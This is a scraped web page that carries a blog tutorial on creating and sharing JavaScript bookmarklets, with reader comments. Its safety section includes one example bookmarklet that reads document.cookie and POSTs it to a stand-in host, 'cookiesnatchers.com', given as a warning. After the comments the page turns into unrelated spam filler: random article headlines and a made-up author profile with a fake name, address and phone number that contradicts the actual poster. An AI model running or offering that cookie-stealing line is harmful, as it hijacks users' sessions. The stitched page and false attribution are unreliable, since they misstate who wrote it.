On bookmarklets and how to make them (2024)

Siddharth

Posted on

On bookmarklets and how to make them (2) On bookmarklets and how to make them (3) On bookmarklets and how to make them (4) On bookmarklets and how to make them (5) On bookmarklets and how to make them (6)

#javascript #tutorial

Bookmarklets are bookmarks which execute javascript instead of opening a new page. They are available in almost every browser, including Chrome, Firefox and most Chromium based browsers

They are pretty easy to make, and can do almost everything, including injecting other scripts, interacting with the DOM, and absolutely everything you can do with JavaScript.

How to make a bookmarklet

That's pretty easy, just create a bookmark (using whatever method your browser has) with the following content:

javascript:(() => {/* Your code goes here */})();

The javascript: part tells the browser that the bookmark is actually javascript which is to be executed.

The rest of the code is executed as normal, but you can make it an IIFE (Immediately-Invoked Function Expression) so that you don't accidentally overwrite any variables already defined. The code can be whatever you like, but on some sites (like GitHub) some action may be blocked (like injecting scripts)

On bookmarklets and how to make them (7)

Another neat trick is that if you make the bookmarklet return any HTML, the content of the current page will be overwritten with the HTML! (which is perfect if you want a random xkcd fetcher)

Sharing bookmarklets

It's pretty annoying to have to copy the code for a bookmarklet if you want to use it yourself, right!

Well,

  • Bookmarklets are just URLs
  • URLs can be added to the href of a link
  • A link can be bookmarked (right click or drag to bookmarks bar)

So, if you want to put a shareable bookmark on a website, just make an <a> element with the href set to whatever code

<a href="javascript:(()=>{alert('Hello, World!'); })();">Bookmark me</a>

Unfortunately, I can't seem to be able to add bookmarklets over here, so here's a pen with the output:

Here's some more bookmarklets which you could use:

Safety

Bookmarklets are equal to running scripts on a page, so you have to be really careful with them.

For example, this bookmarklet could easily read cookies and post them somewhere:

javascript:(() => fetch('http://cookiesnatchers.com?cookie=' + document.cookie, {method:'POST'})();

Once again, you have to be really careful about what bookmarklets do.

Thanks for reading! If you have any nice bookmarklets, please share them down below!

Top comments (6)

Subscribe

GrahamTheDev

GrahamTheDev

Accessibility First DevRel. I focus on ensuring content created, events held and company assets are as accessible as possible, for as many people as possible.

  • Location

    United Kingdown

  • Work

    DevRel - open to opportunities

  • Joined

Jun 24 '21 • Edited on Jun 24 • Edited

  • Copy link

Ah another opportunity to shamelessly self promote my bookmarklets 😂.

Weird that two people wrote about bookmarklets on the same day and both of you encouraged sharing bookmarklets you have made!

My dev.to editor (WIP)

7 new features, 51.3 new bugs added 😋, the DEV.TO 👩‍💻👨‍💻 editor [PART DEUX!] InHuOfficial ・ Apr 7 ・ 8 min read #javascript #showdev #webdev #productivity

My "click to tweet" button creator

Do you want more 📈 shares on your dev.to articles❓ Add a fancy "click to tweet" button to your posts in just one click! InHuOfficial ・ Jun 20 ・ 11 min read #showdev #webdev #javascript #productivity

Siddharth

Siddharth

Making wild out-on-a-limb schemes which can change the world if they work, but probably wont.

  • Email

    siddharth.muscat@gmail.com

  • Location

    Kannur, Kerala, India

  • Joined

Jun 25 '21

  • Copy link

Nice! I really need that dev editor update

GrahamTheDev

GrahamTheDev

Accessibility First DevRel. I focus on ensuring content created, events held and company assets are as accessible as possible, for as many people as possible.

  • Location

    United Kingdown

  • Work

    DevRel - open to opportunities

  • Joined

Jun 25 '21

  • Copy link

Yeah I know, it would make life a lot easier! ❤️

vij4yd

vij4yd

  • Location

    India

  • Joined

Dec 8 '21

  • Copy link

I am not a developer. just have some basic javascript knowledge. stuff like document.getElementbyxx("xx").action or .value= 'xx'...

I have been using bookmarklets for 10+ years now. recently in one of my projects i encountered pages where bookmarklets don't work. Found out that it's because it's React js generated content on the page.

Do you know how to get this to work on such pages?

Siddharth

Siddharth

Making wild out-on-a-limb schemes which can change the world if they work, but probably wont.

  • Email

    siddharth.muscat@gmail.com

  • Location

    Kannur, Kerala, India

  • Joined

Dec 8 '21

  • Copy link

I don't see how react can affect a bookmarklet
Could you share the site/bookmarklet? Then I might be able to take a look into it.

Siddharth

Siddharth

Making wild out-on-a-limb schemes which can change the world if they work, but probably wont.

  • Email

    siddharth.muscat@gmail.com

  • Location

    Kannur, Kerala, India

  • Joined

Jun 28 '21

  • Copy link

I just made a Markdown Editor (which is a Textarea Improver for now), and at the end of the post I also provide a bookmarklet which does so to every textarea (Works on DEV too!)

Let's build a Markdown Editor! Siddharth ・ Jun 28 ・ 4 min read #html #css #javascript #tutorial

For further actions, you may consider blocking this person and/or reporting abuse

On bookmarklets and how to make them (2024)
Top Articles
Mandy Rose Reacts To Cosmetic Enhancement Rumors, Confirms What She Has (And Hasn’t) Had Done
Ex-WWE star Mandy Rose addresses plastic surgery talk after 'fake nose' comments
Citi Trends Watches
Lc Auto Sales Irving
Dr. Hannah Straight Website
Forum Phun Extra
Record-breaking crowd lifts Seattle Sounders to CCL glory on "special" night | MLSSoccer.com
Sofia Pinkman
Goodwill Bellingham Donation Hours
O'Quinn Peebles Phillips Funeral Home
Optum Primary Care - Winter Park Aloma
Hill & Moin Top Workers Compensation Lawyer
8 Internet Celebrities who fell prey to Leaked Video Scandals
Terraria Melee Build Progression Guide & Best Class Loadouts
5 high school boys cross country stars of the week: Sept. 13 edition
Restaurant Depot Flyer December 2022
Spirited Showtimes Near Gqt Kalamazoo 10
COUNTRY VOL 1 EICHBAUM COLLECTION (2024) WEB [FLAC] 16BITS 44 1KHZ
Storm Prediction Center Convective Outlook
BCLC Launches PROLINE Sportsbook at B.C. Retail Locations
Devon Lannigan Obituary
M Life Insider
Craigslist Parsippany Nj Rooms For Rent
Aaa Saugus Ma Appointment
Gw2 Titles
Quantumonline
Clarkson Eyecare hiring Optometrist - Fredericksburg, VA in Fredericksburg, VA | LinkedIn
Vision Government Solutions Stamford Ct
Ark Black Pearls Gfi
Craiglist Galveston
Jeep Graphics Ideas
Jasper Jones County Trade
No Cable Schedule
Deerc De22 Drone Manual Pdf
Denise Frazier Leak
Marissa.munoz17
Ixl Sbisd Login
Phasmophobia Do As I Command Challenge
Deshaun Watson Stats, News and Video - QB | NFL.com
Tighe Hamilton Hudson Ma Obituary
San Diego Box Score
Tani Ahrefs
Rule 34 Supreme Court: Key Insights and Implications
Bloxburg Bedroom Ideas That Will Make Your Kid's Jaw Drop
I Heard The Bells Film Showtimes Near Newport Cinema Center
Kenji Lentil Soup
Daniel And Gabriel Case Images
Goldthroat Goldie
Locate Td Bank Near Me
Skid B Gon Brake Pads
Knock At The Cabin Showtimes Near Alamo Drafthouse Raleigh
NBA 2K: 10 Unpopular Opinions About The Games, According To Reddit
Latest Posts
Article information

Author: Annamae Dooley

Last Updated:

Views: 5474

Rating: 4.4 / 5 (45 voted)

Reviews: 84% of readers found this page helpful

Author information

Name: Annamae Dooley

Birthday: 2001-07-26

Address: 9687 Tambra Meadow, Bradleyhaven, TN 53219

Phone: +9316045904039

Job: Future Coordinator

Hobby: Archery, Couponing, Poi, Kite flying, Knitting, Rappelling, Baseball

Introduction: My name is Annamae Dooley, I am a witty, quaint, lovely, clever, rich, sparkling, powerful person who loves writing and wants to share my knowledge and understanding with you.